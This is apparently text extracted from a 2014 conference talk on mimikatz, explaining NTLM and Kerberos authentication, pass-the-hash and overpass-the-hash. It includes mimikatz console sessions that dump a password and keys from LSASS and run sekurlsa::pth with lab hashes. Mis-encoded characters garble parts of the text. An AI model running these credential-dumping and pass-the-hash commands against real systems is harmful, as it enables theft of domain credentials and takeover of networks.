
mimikatz and your credentials
ΨȅƻǳΩƭƭhateyour{{hΩ

Benjamin DELPY `gentilkiwi`



`whoami ` ?

Benjamin DELPY - @gentilkiwi

ïSecurity researcher at night (ƛǘΩǎ ƴƻǘ Ƴȅ ǿƻǊƪ)

ÅA French guy with one flashy Tahitian shirt

ïAuthor of mimikatz

ÅThis little program that I wrote to learn C (and that your CISO hates)

ïPresented at Black Hat, Defcon, PHDays, BlueHat, and more

ÅDespite, my excellent English, yeah

ïLΩƳΥ
ÅNice*, a kiwi

ïLΩƳ ƴƻǘΥ
Å/L{{tΣ /L{!Σ h{/tΣ /ICLΣ /9IΣ L{hϝΣ a/{!Σ /ICLΣ t!{{LΣ ώΧϐ

ϝΧ
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You see it every 
ƳƻǊƴƛƴƎΧ



Or this one if 
ȅƻǳΩǊŜ ƭǳŎƪȅΧ



Still probably a 
little bit this one :)



mimikatz :: sekurlsa
LSA (                      level)
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LsaSSWinLogon

Authentication
Packages

msv1_0

tspkg

wdigest

livessp

kerberos

Authentication

msv1_0

kerberos

SAM

Challenge
Response

user:domain:password

PLAYSKOOL



A little reminderabout NTLM authentication
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waza
1234/

NTLM (md4)

LM

cc36cf7a8514893e
fccd332446158b1a

d0e9aee149655a60
75e4540af1f22d3b

LSASS(msv1_0)

Domain 
Controller

NTLM (md4)

LM

cc36cf7a8514893e
fccd332446158b1a

cc36cf7a8514893e
fccd332446158b1a

LSASS(msv1_0)



Normal NTLM authenticationVS Pass-the-Hash
know yourenemy

20/11/2014 Benjamin DELPY `gentilkiwi` @ No Such Con benjamin@gentilkiwi.com ; blog.gentilkiwi.com 8

Normal



A little reminderabout Kerberosauthentication

How does it works ?
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waza
1234/

des_cbc_md5 f8fd987fa7153185

LSASS(kerberos)

rc4_hmac_nt
(NTLM/md4)

cc36cf7a8514893e
fccd332446158b1a

aes128_hmac
8451bb37aa6d7ce3
d2a5c2d24d317af3

aes256_hmac

1a7ddce7264573ae
1f498ff41614cc78
001cbf6e3142857c
ce2566ce74a7f25b

KDC

KDC

TGT

TGS

TGS-REQ

TGS-REP

Usage

Administrateur

win10



A little reminderabout Kerberosauthentication

The KDCwill validate the authentication if it can decrypt the 
timestamp with the long-term user key (for RC4, the NTLMhash of 
the user password)

It issues a TGTrepresenting the user in the domain, for a specified 
period
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RID  : 000001f4 (500)
User : Administrateur
* Primary

LM   :
NTLM : cc36cf7a8514893efccd332446158b1a

* Kerberos - Newer- Keys
Default Salt : LAB.LOCALAdministrateur
Default Iterations : 4096
Credentials

aes256_hmac       (4096) : b7268361386090314acce8d9367e55f5
5865e7ef8e670fbe4262d6c94098a9e9

aes128_hmac       (4096) : 8451bb37aa6d7ce3d2a5c2d24d317af3
des_cbc_md5       (4096) : f8fd987fa7153185

KDC

waza
1234/

rc4_hmac_nt
(NTLM/md4)

cc36cf7a8514893e
fccd332446158b1a

20140807054500Z
timestamp AS-REQ

AS-REPTGT



A little reminderabout Kerberosauthentication
PAC (MS Specific)

The KDCwill create a Microsoft specific structure (PAC) with user 
information

This PACis signed with the target key, and the KDCkey
ïfor a TGT, the target is also the KDC, so it is the same key, 

3f66b877d01affcc631f465e6e5ed449 for RC4

ïKDCkeys are in the krbtgt account
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RID  : 000001f6 (502)
User : krbtgt
* Primary

LM   :
NTLM : 3f66b877d01affcc631f465e6e5ed449

* Kerberos - Newer- Keys
Default Salt : LAB.LOCALkrbtgt
Default Iterations : 4096
Credentials

aes256_hmac       (4096) : 
15540cac73e94028231ef86631bc47bd

5c827847ade468d6f6f739eb00c68e42
aes128_hmac       (4096) : 

da3128afc899a298b72d365bd753dbfb
des_cbc_md5       (4096) : 620eb39e450e6776

KDC

Username : Administrateur
Domain SID
S- 1- 5- 21- 130452501- 2365100805-
3685010670
User ID
500 Administrateur
Groups ID
512 Admins du domaine
519 !ÄÍÉÎÉÓÔÒÁÔÅÕÒÓ ÄÅ ÌƦÅÎÔÒÅÐÒÉÓÅ
518 Administrateurs du schéma
ƛ

Authorization data Microsoft (PAC)

CHECKSUM_SRV ƵHMAC_MD5 - krbtgt
3f66b877d01affcc631f465e6e5ed449

CHECKSUM_KDC ƵHMAC_MD5 - krbtgt
3f66b877d01affcc631f465e6e5ed449



A little reminderabout Kerberosauthentication
TGT

This TGTis encrypted with a key shared between all KDC

ïThe RC4key for the krbtgt account : 3f66b877d01affcc631f465e6e5ed449

The KDCadds the Microsoft specific PACto a structure 
ǿƛǘƘ ǳǎŜǊΩǎ ƛƴŦƻǊƳŀǘƛƻƴ
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RID  : 000001f6 (502)
User : krbtgt
* Primary

LM   :
NTLM : 3f66b877d01affcc631f465e6e5ed449

* Kerberos - Newer- Keys
Default Salt : LAB. LOCALkrbtgt
Default Iterations : 4096
Credentials

aes256_hmac       (4096) : 
15540cac73e94028231ef86631bc47bd

5c827847ade468d6f6f739eb00c68e42
aes128_hmac       (4096) : 

da3128afc899a298b72d365bd753dbfb
des_cbc_md5       (4096) : 620eb39e450e6776

KDC

TGT

Start/End/ MaxRenew: 14/07/2014 00:46:09 ; 
14/07/2014 10:46:09 ; 21/07/2014 00:46:09
Service Name (02) : krbtgt ; LAB.LOCAL ; @ 
LAB.LOCAL
Target Name  (02) : krbtgt ; LAB ; @ LAB.LOCAL
Client Name  (01) : Administrateur ; @ LAB.LOCAL 
( LAB )
Flags 40e10000    : name_canonicalize ; 
pre_authent ; initial ; renewable ; forwardable
;
Session Key       : 0x00000012 - aes256_hmac
f3bf2e0e26903703bec6259b400a586f403bbfe3771cb797
2be3c0868cb9cc69
RC4- HMAC Ƶkrbtgt
3f66b877d01affcc631f465e6e5ed449

Username : Administrateur
Domain SID
S- 1- 5- 21- 130452501- 2365100805- 3685010670

Authorization data Microsoft 
(PAC)

CHECKSUM_SRV ƵHMAC_MD5 - krbtgt
310b643c5316c8c3c70a10cfb17e2e3

CHECKSUM_KDC ƵHMAC_MD5 - krbtgt
310b643c5316c8c3c70a10cfb17e2e3



[ŜǘΩǎ Ǉƭŀȅ ŀ ƎŀƳŜΣ 
Windows Kerberos



Windows Kerberos

What can we do with multiple sessions in memory?
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waza
1234/

des_cbc_md5 f8fd987fa7153185

LSASS(kerberos)

rc4_hmac_nt
(NTLM/md4)

cc36cf7a8514893e
fccd332446158b1a

aes128_hmac
8451bb37aa6d7ce3
d2a5c2d24d317af3

aes256_hmac

1a7ddce7264573ae
1f498ff41614cc78
001cbf6e3142857c
ce2566ce74a7f25b

KDC

KDC

TGT

TGS

TGS-REQ

TGS-REP

Usage

Administrateur

win10



Windows Kerberos

YŜȅǎΧ
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.#####.   mimikatz 2.0 alpha (x86) release "Kiwi en C" (Nov 17 2014 00:53:48)
.## ^ ##.
## / \ ##  /* * *
## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##'   http://blog.gentilkiwi.com/mimikatz             ( oe.eo )

'#####'                                     with 15 modules * * */

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa :: ekeys

Authentication Id : 0 ; 142976 (00000000:00022e80)
Session           : Interactive from 1
User Name         : Administrator
Domain            : LAB
SID               : S - 1- 5- 21- 2929287289 - 1204109396 - 1883388597 - 500

* Username : Administrator
* Domain   : LAB.LOCAL
* Password : waza1234/
* Key List :

aes256_hmac       1a7ddce7264573ae1f498ff41614cc78001cbf6e3142857cce2566ce74a7f25b
aes128_hmac       a62abee318bc8877b6d402bde49ddd61
rc4_hmac_nt       cc36cf7a8514893efccd332446158b1a
rc4_hmac_old      cc36cf7a8514893efccd332446158b1a
rc4_md4           cc36cf7a8514893efccd332446158b1a
rc4_hmac_nt_exp   cc36cf7a8514893efccd332446158b1a
rc4_hmac_old_exp  cc36cf7a8514893efccd332446158b1a



Windows Kerberos
Overpass-the-hash

With a RC4 key (NTLM hash !)
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des_cbc_md5

LSASS(kerberos)

rc4_hmac_nt
(NTLM/md4)

cc36cf7a8514893e
fccd332446158b1a

aes128_hmac

aes256_hmac

KDC

KDC

TGT

TGS

TGS-REQ

TGS-REP

Usage

cc36cf7a8514893e
fccd332446158b1a



Windows Kerberos
Overpass-the-hash

With an AES key (linked to the password too)
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des_cbc_md5

LSASS(kerberos)

rc4_hmac_nt
(NTLM/md4)

aes128_hmac

aes256_hmac

KDC

KDC

TGT

TGS

TGS-REQ

TGS-REP

Usage

1a7ddce7264573ae
1f498ff41614cc78
001cbf6e3142857c
ce2566ce74a7f25b

1a7ddce7264573ae
1f498ff41614cc78
001cbf6e3142857c
ce2566ce74a7f25b



Windows Kerberos
Overpass-the-hash
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mimikatz # sekurlsa :: pth / user:Administrator / domain:LAB.LOCAL
/rc4:cc36cf7a8514893efccd332446158b1a
user    : Administrator
domain  : LAB.LOCAL
program : cmd.exe
NTLM    : cc36cf7a8514893efccd332446158b1a

|  PID  3632
|  TID  3924
|  LUID 0 ; 442172 (00000000:0006bf3c)
\ _ msv1_0   - data copy @ 00B30F54 : OK !
\ _ kerberos - data copy @ 00BC5C18

\ _ aes256_hmac       - > null
\ _ aes128_hmac       - > null
\ _ rc4_hmac_nt       OK
\ _ rc4_hmac_old      OK
\ _ rc4_md4           OK
\ _ rc4_hmac_nt_exp   OK
\ _ rc4_hmac_old_exp  OK
\ _ *Password replace - > null

mimikatz # sekurlsa :: pth / user:Administrator / domain:LAB.LOCAL
/aes256:1a7ddce7264573ae1f498ff41614cc78001cbf6e3142857cce2566ce74a7f25b
user    : Administrator
domain  : LAB.LOCAL
program : cmd.exe
AES256  : 1a7ddce7264573ae1f498ff41614cc78001cbf6e3142857cce2566ce74a7f25b

|  PID  2120
|  TID  2204
|  LUID 0 ; 438984 (00000000:0006b2c8)
\ _ msv1_0   - data copy @ 00B2936C : OK !
\ _ kerberos - data copy @ 00BC5A68

\ _ aes256_hmac       OK
\ _ aes128_hmac       - > null
\ _ rc4_hmac_nt       - > null
\ _ rc4_hmac_old      - > null
\ _ rc4_md4           - > null
\ _ rc4_hmac_nt_exp   - > null
\ _ rc4_hmac_old_exp  - > null
\ _ *Password replace - > null



A little reminderabout Kerberosauthentication

What else?
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waza
1234/

des_cbc_md5 f8fd987fa7153185

LSASS(kerberos)

rc4_hmac_nt
(NTLM/md4)

cc36cf7a8514893e
fccd332446158b1a

aes128_hmac
8451bb37aa6d7ce3
d2a5c2d24d317af3

aes256_hmac

1a7ddce7264573ae
1f498ff41614cc78
001cbf6e3142857c
ce2566ce74a7f25b

KDC

KDC

TGT

TGS

TGS-REQ

TGS-REP

Usage

Administrateur

win10


